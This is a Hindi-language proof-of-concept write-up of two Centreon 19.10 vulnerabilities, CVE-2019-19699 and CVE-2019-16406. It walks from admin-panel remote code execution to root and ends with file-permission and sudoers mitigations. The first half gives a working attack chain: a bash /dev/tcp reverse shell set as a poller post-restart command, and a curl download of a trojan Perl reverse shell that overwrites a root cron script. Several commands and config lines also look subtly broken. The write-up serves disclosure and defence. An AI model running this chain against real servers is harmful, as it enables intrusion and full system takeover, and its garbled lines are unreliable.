
Centreon =<19.10 प्रमाणित RCE
प्रूफ ऑफ कॉन्सेप्ट
द्वारा खोजा गया:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
प्रमाणित रिमोट कोड निष्पादन:
आइए Centreon वेब पैनल में व्यवस्थापक उपयोगकर्ता के रूप में लॉग इन करके शुरू करें।
लॉग इन करने के बाद हम Configuration > Commands > Miscellaneous पर नेविगेट करते हैं।
नीचे दिए गए चित्र में दिखाए अनुसार Add पर क्लिक करके आगे बढ़ें।
अब हम अपने Miscellaneous कमांड के रूप में एक bash रिवर्स शेल बनाते हैं।
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
और Save पर क्लिक करें।
अब हम Configuration > Pollers पर नेविगेट करते हैं और अपने वर्तमान Central पोलर पर क्लिक करके आगे बढ़ते हैं।
यह आपको Modify a poller Configuration मेनू तक पहुंच प्रदान करता है।
यहां हम नीचे स्क्रॉल कर सकते हैं, और एक Post-restart command सेट कर सकते हैं।
पहले से बनाए गए reverse shell का चयन करके आगे बढ़ें, और Save बटन पर क्लिक करें।
अब हम अपनी स्थानीय मशीन पर Netcat लिसनर शुरू करके आगे बढ़ सकते हैं।
अंत में हम Configuration > Pollers मेनू में Export configuration बटन पर क्लिक करते हैं।
Pollers ड्रॉप डाउन बॉक्स में अपने Central पोलर का चयन करें।
Generate Configuration Files और Run monitoring engine debug (-v) चेक बॉक्स को अनटिक करें।
Restart Monitoring Engine और Post generation command चेक बॉक्स को टिक करें।
Method ड्रॉपडाउन बॉक्स में Restart चुनें।
Export पर क्लिक करने पर पोलर पुनरारंभ होगा, और इस प्रकार हमारे द्वारा पहले कॉन्फ़िगर किए गए Post-Restart Command को निष्पादित करेगा। यह वह क्षण है जब हमारा रिवर्स शेल लिसनर एक कनेक्शन प्राप्त करेगा।
प्रमाणित रिमोट कोड निष्पादन सफल रहा है!
(यह CVE-2019-19699 के लिए राइटअप था)
यहाँ से हम Root प्राप्त करने की ओर बढ़ते हैं।
हम TheCyberGeek द्वारा खोजे गए CVE-2019-16406 का उपयोग करके Centreon <= 19.10 सर्वर को पूरी तरह से समझौता करेंगे।
आइए अपने वर्तमान रिवर्स शेल टर्मिनल में एक TTY शेल उत्पन्न करके शुरू करें।
python -c 'import pty; pty.spawn("/bin/sh")'
अब हम cat /etc/cron.d/* करके देखते हैं कि कौन से क्रॉन कार्य मौजूद हैं।
अब हम देखते हैं कि centreon_autodisc.pl एक क्रॉन कार्य है।
(प्रदर्शन उद्देश्यों के लिए 30 22 * * * root से बदलकर * * * * * root किया गया था।)
यह Root के रूप में निष्पादित होता है, आइए centreon_autodisco.pl को एक Perl रिवर्स शेल से बदलें।
मैं जिस Perl शेल का उपयोग करूंगा, उसे यहाँ से डाउनलोड किया जा सकता है।
रिवर्स शेल डाउनलोड करें, और वेब पेज पर बताए अनुसार ip address और port को अपने अनुसार संपादित करें।
स्थानीय रूप से perl-reverse-shell.pl का नाम बदलकर centreon_autodisco.pl करने के लिए mv कमांड निष्पादित करें।
आगे बढ़ते हैं और अपनी पसंद के पोर्ट पर एक स्थानीय SimpleHTTPServer शुरू करते हैं।
इस तरह, हम मौजूदा centreon_autodisco.pl को अपने trojan Perl रिवर्स शेल से बदलने के लिए curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl कर सकते हैं।
अब फ़ाइल बदल दी गई है, बस इतना करना बाकी है कि हम पहले कॉन्फ़िगर किए गए पोर्ट पर एक Netcat listener शुरू करें, और हमें सर्वर से Root उपयोगकर्ता के रूप में एक कनेक्शन वापस मिलेगा!
रूट सिस्टम एक्सेस सफल रहा है!
अब आगे बढ़ते हैं उन नोट्स पर जिनमें बताया गया है कि हम विशेषाधिकार वृद्धि को कैसे शमित किया जाना चाहिए!
19.10 में वर्तमान सेटिंग्स:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php के लिए शमन
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
जैसा कि आप देख सकते हैं, यह अब Root के स्वामित्व में है, समूह apache इसे केवल पढ़ और निष्पादित कर सकता है, centreon इसे केवल निष्पादित कर सकता है, इसलिए यह कार्यक्षमता को प्रभावित नहीं करता।
उदाहरण:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: अनुमति अस्वीकृत लेकिन apache फिर भी इसे निष्पादित कर सकता है।
/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl के लिए शमन
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
जैसा कि आप देख सकते हैं, यह अब Root के स्वामित्व में है, समूह apache इसे केवल पढ़ और निष्पादित कर सकता है, centreon इसे केवल निष्पादित कर सकता है, इसलिए यह कार्यक्षमता को प्रभावित नहीं करता।
उदाहरण:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: अनुमति अस्वीकृत लेकिन apache फिर भी इसे निष्पादित कर सकता है।
/usr/lib/centreon/plugins/cwrapper_perl के लिए शमन
प्रत्येक उपयोगकर्ता द्वारा निष्पादित किए जाने वाले विशिष्ट स्क्रिप्ट को परिभाषित करने वाले sudo कमांड का उपयोग करें।
प्रत्येक perl स्क्रिप्ट को root के स्वामित्व में बनाएं ताकि उपयोगकर्ता विशेषाधिकार वृद्धि के लिए स्क्रिप्ट को बदल या प्रतिस्थापित नहीं कर सकें।
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
अब उपयोगकर्ता अब स्क्रिप्ट को बदल या प्रतिस्थापित नहीं कर सकते!
उदाहरण:
cat /etc/sudoers
...
## रूट को कहीं भी कोई भी कमांड चलाने की अनुमति दें
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---sudoers का अंत---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
उपयोगकर्ता अभी भी आवश्यक स्क्रिप्ट निष्पादित कर सकते हैं और स्क्रिप्ट को apache या centreon द्वारा बदला नहीं जा सकता, इस प्रकार विशेषाधिकार वृद्धि के लिए सुरक्षा खतरा पूरी तरह से समाप्त हो जाता है।
यदि कोई हमलावर अब मशीन में प्रवेश करता है, तो मशीन का पूर्ण नियंत्रण लेना बहुत कठिन या असंभव होगा जब तक कि अधिक खतरे खोजे न जाएं।
Centreon उपयोगकर्ता के लिए, हम केवल perl के लिए cwrapper ही विशेषाधिकार वृद्धि पा सके, इसलिए यदि पोस्ट-रिस्टार्ट centreon उपयोगकर्ता द्वारा निष्पादित किया गया और एक हमलावर ने centreon उपयोगकर्ता के रूप में शेल प्राप्त किया, तो यह लगभग कोई और आक्रमण सतह नहीं छोड़ेगा।
पढ़ने के लिए धन्यवाद